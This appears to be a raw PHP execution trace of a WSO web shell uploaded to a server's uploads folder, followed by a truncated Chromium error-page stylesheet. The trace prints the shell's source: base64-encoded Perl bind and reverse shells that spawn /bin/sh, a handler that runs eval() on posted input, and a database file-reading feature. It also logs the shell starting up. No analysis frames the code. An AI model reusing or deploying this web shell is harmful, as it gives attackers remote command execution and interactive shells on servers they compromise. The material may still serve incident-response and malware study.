\'.htmlspecialchars($db->error()).\'</div>\';\n                    }\n                }\n                echo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n                    echo htmlspecialchars($_POST[\'p2\']);\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\n                echo "</td></tr>";\n            }\n            echo "</table></form><br/>";\n            if($_POST[\'type\']==\'mysql\') {\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n                if($db->fetch())\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";\n            }\n            if(@$_POST[\'p1\'] == \'loadfile\') {\n                $file = $db->loadFile($_POST[\'p2\']);\n                echo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n            }\n    } else {\n        echo htmlspecialchars($db->error());\n    }\n    echo \'</div>\';\n    wsoFooter();\n}\nfunction actionNetwork() {\n    wsoHeader();\n    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n    echo "<h1>Network tools</h1><div class=content>\n    <form name=\'nfp\' onSubmit=\\"g(null,null,\'bpp\',this.port.value);return false;\\">\n    <span>Bind port to /bin/sh [perl]</span><br/>\n    Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n    </form>\n    <form name=\'nfp\' onSubmit=\\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\\">\n    <span>Back-connect  [perl]</span><br/>\n    Server: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n    </form><br>";\n    if(isset($_POST[\'p1\'])) {\n        function cf($f,$t) {\n            $w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\n            if($w){\n                @fwrite($w,@base64_decode($t));\n                @fclose($w);\n            }\n        }\n        if($_POST[\'p1\'] == \'bpp\') {\n            cf("/tmp/bp.pl",$bind_port_p);\n            $out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\n            sleep(1);\n            echo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bp.pl")."</pre>";\n            unlink("/tmp/bp.pl");\n        }\n        if($_POST[\'p1\'] == \'bcp\') {\n            cf("/tmp/bc.pl",$back_connect_p);\n            $out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\n            sleep(1);\n            echo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bc.pl")."</pre>";\n            unlink("/tmp/bc.pl");\n        }\n    }\n    echo \'</div>\';\n    wsoFooter();\n}\nfunction actionRC() {\n    if(!@$_POST[\'p1\']) {\n        $a = array(\n            "uname" => php_uname(),\n            "php_version" => phpversion(),\n            "wso_version" => WSO_VERSION,\n            "safemode" => @ini_get(\'safe_mode\')\n        );\n        echo serialize($a);\n    } else {\n        eval($_POST[\'p1\']);\n    }\n}\nif( empty($_POST[\'a\']) )\n    if(isset($default_action) && function_exists(\'action\' . $default_action))\n        $_POST[\'a\'] = $default_action;\n    else\n        $_POST[\'a\'] = \'SecInfo\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n    call_user_func(\'action\' . $_POST[\'a\']);\nexit;\n\n'	/var/www/html/uploads/flo.php	12	0
2		A						/var/www/html/uploads/flo.php(12) : eval()'d code	1	$auth_pass = '705d77357e3d116ad219ba8e756b47f0'
2		A						/var/www/html/uploads/flo.php(12) : eval()'d code	2	$color = '#df5'
2		A						/var/www/html/uploads/flo.php(12) : eval()'d code	3	$default_action = 'FilesMan'
2		A						/var/www/html/uploads/flo.php(12) : eval()'d code	4	$default_use_ajax = TRUE
2		A						/var/www/html/uploads/flo.php(12) : eval()'d code	5	$default_charset = 'Windows-1251'
2		A						/var/www/html/uploads/flo.php(12) : eval()'d code	8	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3	8	0	0.007149	1257192	implode	0		/var/www/html/uploads/flo.php(12) : eval()'d code	9	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3	8	1	0.007171	1257336
3	8	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
3	9	0	0.007190	1257272	preg_match	0		/var/www/html/uploads/flo.php(12) : eval()'d code	9	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
3	9	1	0.007211	1257336
3	9	R			0
3	10	0	0.007225	1257192	ini_set	0		/var/www/html/uploads/flo.php(12) : eval()'d code	15	2	'error_log'	NULL
3	10	1	0.007242	1257264
3	10	R			''
3	11	0	0.007255	1257192	ini_set	0		/var/www/html/uploads/flo.php(12) : eval()'d code	16	2	'log_errors'	0
3	11	1	0.007271	1257264
3	11	R			'1'
3	12	0	0.007284	1257192	ini_set	0		/var/www/html/uploads/flo.php(12) : eval()'d code	17	2	'max_execution_time'	0
3	12	1	0.007301	1257296
3	12	R			'30'
3	13	0	0.007315	1257192	set_time_limit	0		/var/www/html/uploads/flo.php(12) : eval()'d code	18	1	0
3	13	1	0.007330	1257256
3	13	R			FALSE
2	7	1	0.007349	1258296
1	3	1	0.007362	1224160
1	14	0	0.007369	1224192	Error->__toString	0		Unknown	0	0
2	15	0	0.007382	1224272	Error->getTraceAsString	0		Unknown	0	0
2	15	1	0.007394	1224528
2	15	R			'#0 /var/www/html/uploads/flo.php(12): eval()\n#1 {main}'
1	14	1	0.007414	1224824
1	14	R			'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/flo.php(12) : eval()\'d code:19\nStack trace:\n#0 /var/www/html/uploads/flo.php(12): eval()\n#1 {main}'
			0.007466	1145616
TRACE END   [2023-02-13 01:50:28.843530]


Generated HTML code

<html dir="ltr" lang="en"><head>
  <meta charset="utf-8">
  <meta name="color-scheme" content="light dark">
  <meta name="theme-color" content="#fff">
  <meta name="viewport" content="width=device-width, initial-scale=1.0,
                                 maximum-scale=1.0, user-scalable=no">
  <title>localhost</title>
  <style>/* Copyright 2017 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

a {
  color: var(--link-color);
}

body {
  --background-color: #fff;
  --error-code-color: var(--google-gray-700);
  --google-blue-100: rgb(210, 227, 252);
  --google-blue-300: rgb(138, 180, 248);
  --google-blue-600: rgb(26, 115, 232);
  --google-blue-700: rgb(25, 103, 210);
  --google-gray-100: rgb(241, 243, 244);
  --google-gray-300: rgb(218, 220, 224);
  --google-gray-500: rgb(154, 160, 166);
  --google-gray-50: rgb(248, 249, 250);
  --google-gray-600: rgb(128, 134, 139);
  --google-gray-700: rgb(95, 99, 104);
  --google-gray-800: rgb(60, 64, 67);
  --google-gray-900: rgb(32, 33, 36);
  --heading-color: var(--google-gray-900);
  --link-color: rgb(88, 88, 88);
  --popup-container-background-color: rgba(0,0,0,.65);
  --primary-button-fill-color-active: var(--google-blue-700);
  --primary-button-fill-color: var(--google-blue-600);
  --primary-button-text-color: #fff;
  --quiet-background-color: rgb(247, 247, 247);
  --secondary-button-border-color: var(--google-gray-500);
  --secondary-button-fill-color: #fff;
  --secondary-button-hover-border-color: var(--google-gray-600);
  --secondary-button-hover-fill-color: var(--google-gray-50);
  --secondary-button-text-color: var(--google-gray-700);
  --small-link-color: var(--google-gray-700);
  --text-color: var(--google-gray-700);
  background: var(--background-color);
  color: var(--text-color);
  word-wrap: break-word;
}

.nav-wrapper .secondary-button {
  background: var(--secondary-button-fill-color);
  border: 1px solid var(--secondary-button-border-color);
  color: var(--secondary-button-text-color);
  float: none;
  margin: 0;
  padding: 8px 16px;
}

.hidden {
  display: none;
}

html {
  -webkit-text-size-adjust: 100%;
  font-size: 125%;
}

.icon {
  background-repeat: no-repeat;
  background-size: 100%;
}

@media (prefers-color-scheme: dark) {
  body {
    --background-color: var(--google-gray-900);
    --error-code-color: var(--google-gray-500);
    --heading-color: var(--google-gray-500);
    --link-color: var(--google-blue-300);
    --primary-button-fill-color-active: rgb(129, 162, 208);
    --primary-button-fill-color: var(--google-blue-300);
    --primary-button-text-color: var(--google-gray-900);
    --quiet-background-color: var(--background-color);
    --secondary-button-border-color: var(--google-gray-700);
    --secondary-button-fill-color: var(--google-gray-900);
    --secondary-button-hover-fill-color: rgb(48, 51, 57);
    --secondary-button-text-color: var(--google-blue-300);
    --small-link-color: var(--google-blue-300);
    --text-color: var(--google-gray-500);
  }
}
</style>
  <style>/* Copyright 2014 The Chromium Authors
   Use of this source code is governed by a BSD-style license that can be
   found in the LICENSE file. */

button {
  border: 0;
  border-radius: 4px;
  box-sizing: border-box;
  color: var(--primary-button-text-color);
  cursor: pointer;
  float: right;
  font-size: .875em;
  margin: 0;
  padding: 8px 16px;
  transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
  user-select: none;
}

[dir='rtl'] button {
  float: left;
}

.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
  background: var(--primary-button-fill-color);
}

button:active {
  background: var(--primary-button-fill-color-active);
  outline: 0;
}

#debugging {
  display: inline;
  overflow: auto;
}

.debugging-content {
  line-height: 1em;
  margin-bottom: 0;
  margin-top: 1em;
}

.debugging-content-fixed-width {
  display: block;
  font-family: monospace;
  font-size: 1.2em;
  margin-top: 0.5em;
}

.debugging-title {
  font-weight: bold;
}

#details {
  margin: 0 0 50px;
}

#details p:not(:first-of-type) {
  margin-top: 20px;
}

.secondary-button:active {
  border-color: white;
  box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
      0 2px 6px 2px rgba(60, 64, 67, .15);
}

.secondary-button:hover {
  background: var(--secondary-button-hover-fill-color);
  border-color: var(--secondary-button-hover-border-color);
  text-decoration: none;
}

.error-code {
  color: var(--error-code-color);
  font-size: .8em;
  margin-top: 12px;
  text-transform: uppercase;
}

#error-debugging-info {
  font-size: 0.8em;
}

h1 {
  color: var(--heading-color);
  font-size: 1.6em;
  font-weight: normal;
  line-height: 1.25em;
  margin-bottom: 16px;
}

h2 {
  font-size: 1.2em;
  font-weight: normal;
}

.icon {
  height: 72px;
  margin: 0 0 40px;
  width: 72px;
}

input[type=checkbox] {
  opacity: 0;
}

input[type=checkbox]:focus ~ .checkbox::after {
  outline: -webkit-focus-ring-color auto 5px;
}

.interstitial-wrapper {
  box-sizing: border-box;
  font-size: 1em;
  line-height: 1.6em;
  margin: 14vh auto 0;
  max-width: 600px;
  width: 100%;
}

#main-message > p {
  display: inline;
}

#extended-reporting-opt-in {
  font-size: .875em;
  margin-top: 32px;
}

#extended-reporting-opt-in label {
  display: grid;
  grid-template-columns: 1.8em 1fr;
  position: relative;
}

#enhanced-protection-message {
  border-radius: 4px;
  font-size: 1em;
  margin-top: 32px;
  padding: 10px 5px;
}

#enhanced-protection-message label {
  display: grid;
  grid-template-columns: 2.5em 1fr;
  position: relative;
}

#enhanced-protection-message div {
  margin: 0.5em;
}

#enhanced-protection-message .icon {
  height: 1.5em;
  vertical-align: middle;
  width: 1.5em;
}

.nav-wrapper {
  margin-top: 51px;
}

.nav-wrapper::after {
  clear: both;
  content: '';
  display: table;
  width: 100%;
}

.small-link {
  color: var(--small-link-color);
  font-size: .875em;
}

.checkboxes {
  flex: 0 0 24px;
}

.checkbox {
  --padding: .9em;
  background: transparent;
  display: block;
  height: 1em;
  left: -1em;
  padding-inline-start: var(--padding);
  position: absolute;
  right: 0;
  top: -.5em;
  width: 1em;
}

.checkbox::after {
  border: 1px solid white;
  border-radius: 2px;
  content: '';
  height: 1em;
  left: var(--padding);
  position: absolute;
  top: var(--padding);
  width: 1em;
}

.checkbox::before {
  background: transparent;
  border: 2px solid white;
  border-inline-end-width: 0;
  border-top-width: 0;
  content: '';
  height: .2em;
  left: calc(.3em + var(--padding));
  opacity: 0;
  position: absolute;
  top: calc(.3em  + var(--padding));
  transform: rotate(-45deg);
  width: .5em;
}

input[type=checkbox]:checked ~ .checkbox::before {
  opacity: 1;
}

#recurrent-error-message {
  background: #ededed;
  border-radius: 4px;
  margin-bottom: 16px;
  margin-top: 12px;
  padding: 12px 16px;
}

.showing-recurrent-error-message #extended-reporting-opt-in {
  margin-top: 16px;
}

.showing-recurrent-error-message #enhanced-protection-message {
  margin-top: 16px;
}

@media (max-width: 700px) {
  .interstitial-wrapper {
    padding: 0 10%;
  }

  #error-debugging-info {
    overflow: auto;
  }
}

@media (max-width: 420px) {
  button,
  [dir='rtl'] button,
  .small-link {
    float: none;
    font-size: .825em;
    font-weight: 500;
    margin: 0;
    width: 100%;
  }

  button {
    padding: 16px 24px;
  }

  #details {
    margin: 20px 0 20px 0;
  }

  #details p:not(:first-of-type) {
    margin-top: 10px;
  }

  .secondary-button:not(.hidden) {
    display: block;
    margin-top: 20px;
    text-align: center;
    width: 100%;
  }

  .interstitial-wrapper {
    padding: 0 5%;
  }

  #extended-reporting-opt-in {
    margin-top: 24px;
  }

  #enhanced-protection-message {
    margin-top: 24px;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

/**
 * Mobile specific styling.
 * Navigation buttons are anchored to the bottom of the screen.
 * Details message replaces the top content in its own scrollable area.
 */

@media (max-width: 420px) {
  .nav-wrapper .secondary-button {
    border: 0;
    margin: 16px 0 0;
    margin-inline-end: 0;
    padding-bottom: 16px;
    padding-top: 16px;
  }
}

/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
       (min-height: 401px),
       (min-width: 421px) and (min-height: 240px) and
       (max-height: 560px) {
  body .nav-wrapper {
    background: var(--background-color);
    bottom: 0;
    box-shadow: 0 -12px 24px var(--background-color);
    left: 0;
    margin: 0 auto;
    max-width: 736px;
    padding-inline-end: 24px;
    padding-inline-start: 24px;
    position: fixed;
    right: 0;
    width: 100%;
    z-index: 2;
  }

  .interstitial-wrapper {
    max-width: 736px;
  }

  #details,
  #main-content {
    padding-bottom: 40px;
  }

  #details {
    padding-top: 5.5vh;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  body {
    margin: 0 auto;
  }

  button,
  [dir='rtl'] button,
  button.small-link,
  .nav-wrapper .secondary-button {
    font-family: Roboto-Regular,Helvetica;
    font-size: .933em;
    margin: 6px 0;
    transform: translatez(0);
  }

  .nav-wrapper {
    box-sizing: border-box;
    padding-bottom: 8px;
    width: 100%;
  }

  #details {
    box-sizing: border-box;
    height: auto;
    margin: 0;
    opacity: 1;
    transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  #details.hidden,
  #main-content.hidden {
    height: 0;
    opacity: 0;
    overflow: hidden;
    padding-bottom: 0;
    transition: none;
  }

  h1 {
    font-size: 1.5em;
    margin-bottom: 8px;
  }

  .icon {
    margin-bottom: 5.69vh;
  }

  .interstitial-wrapper {
    box-sizing: border-box;
    margin: 7vh auto 12px;
    padding: 0 24px;
    position: relative;
  }

  .interstitial-wrapper p {
    font-size: .95em;
    line-height: 1.61em;
    margin-top: 8px;
  }

  #main-content {
    margin: 0;
    transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  .small-link {
    border: 0;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
    margin: 0;
  }
}

@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

@media (min-height: 400px) and (orientation:portrait) {
  .interstitial-wrapper {
    margin-bottom: 145px;
  }
}

@media (min-height: 299px) {
  .nav-wrapper {
    padding-bottom: 16px;
  }
}

@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
  .extended-reporting-has-checkbox #details {
    padding-bottom: 80px;
  }
}

@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
       (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 7vh;
  }
}

@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
       (max-height: 239px) and (orientation: landscape),
       (max-width: 419px) and (max-height: 399px) {
  .interstitial-wrapper {
    display: flex;
    flex-direction: column;
    margin-bottom: 0;
  }

  #details {
    flex: 1 1 auto;
    order: 0;
  }

  #main-content {
    flex: 1 1 auto;
    order: 0;
  }

  .nav-wrapper {
    flex: 0 1 auto;
    margin-top: 8px;
    order: 1;
    padding-inline-end: 0;
    padding-inline-start: 0;
    position: relative;
    width: 100%;
  }

  button,
  .nav-wrapper .secondary-button {
    padding: 16px 24px;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 239px) and (orientation: portrait) {
  .nav-wrapper {
    padding-inline-end: 0;
    padding-inline-start: 0;
  }
}
</style>
  <style>/* Copyright 2013 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
  display: none;
}

/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
  display: none;
}

h1 {
  margin-top: 0;
  word-wrap: break-word;
}

h1 span {
  font-weight: 500;
}

a {
  text-decoration: none;
}

.icon {
  -webkit-user-select: none;
  display: inline-block;
}

.icon-generic {
  /* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
   * renderer process, so embed the resource manually. */
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}

.icon-offline {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
  position: relative;
}

.icon-disabled {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
  width: 112px;
}

.hidden {
  display: none;
}

#suggestions-list a {
  color: var(--google-blue-600);
}

#suggestions-list p {
  margin-block-end: 0;
}

#suggestions-list ul {
  margin-top: 0;
}

.single-suggestion {
  list-style-type: none;
  padding-inline-start: 0;
}

#error-information-button {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
  height: 24px;
  vertical-align: -.15em;
  width: 24px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup {
  align-items: center;
  background-color: var(--popup-container-background-color);
  display: flex;
  height: 100%;
  left: 0;
  position: fixed;
  top: 0;
  width: 100%;
  z-index: 100;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-content > p {
  margin-bottom: 11px;
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list ul {
  margin-inline-start: 15px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-box {
  background-color: var(--background-color);
  left: 5%;
  padding-bottom: 15px;
  padding-top: 15px;
  position: fixed;
  width: 90%;
  z-index: 101;
}

.use-popup-container#error-information-popup-container div.error-code {
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list p {
  margin-inline-start: 20px;
}

:not(.use-popup-container)#error-information-popup-container
  #error-information-popup-close {
  display: none;
}

#error-information-popup-close {
  margin-bottom: 0;
  margin-inline-end: 35px;
  margin-top: 15px;
  text-align: end;
}

.link-button {
  color: rgb(66, 133, 244);
  display: inline-block;
  font-weight: bold;
  text-transform: uppercase;
}

#sub-frame-error-details {

  color: #8F8F8F;

  /* Not done on mobile for performance reasons. */
  text-shadow: 0 1px 0 rgba(255,255,255,0.3);

}

[jscontent=hostName],
[jscontent=failedUrl] {
  overflow-wrap: break-word;
}

.secondary-button {
  background: #d9d9d9;
  color: #696969;
  margin-inline-end: 16px;
}

.snackbar {
  background: #323232;
  border-radius: 2px;
  bottom: 24px;
  box-sizing: border-box;
  color: #fff;
  font-size: .87em;
  left: 24px;
  max-width: 568px;
  min-width: 288px;
  opacity: 0;
  padding: 16px 24px 12px;
  position: fixed;
  transform: translateY(90px);
  will-change: opacity, transform;
  z-index: 999;
}

.snackbar-show {
  -webkit-animation:
    show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
    hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}

@-webkit-keyframes show-snackbar {
  100% {
    opacity: 1;
    transform: translateY(0);
  }
}

@-webkit-keyframes hide-snackbar {
  0% {
    opacity: 1;
    transform: translateY(0);
  }
  100% {
    opacity: 0;
    transform: translateY(90px);
  }
}

.suggestions {
  margin-top: 18px;
}

.suggestion-header {
  font-weight: bold;
  margin-bottom: 4px;
}

.suggestion-body {
  color: #777;
}

/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
  h1 {
    margin: 0 0 15px;
  }
  .suggestions {
    margin-top: 10px;
  }
  .suggestion-header {
    margin-bottom: 0;
  }
}

#download-link,
#download-link-clicked {
  margin-bottom: 30px;
  margin-top: 30px;
}

#download-link-clicked {
  color: #BBB;
}

#download-link::before,
#download-link-clicked::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

#download-link-clicked::before {
  opacity: 0;
  width: 0;
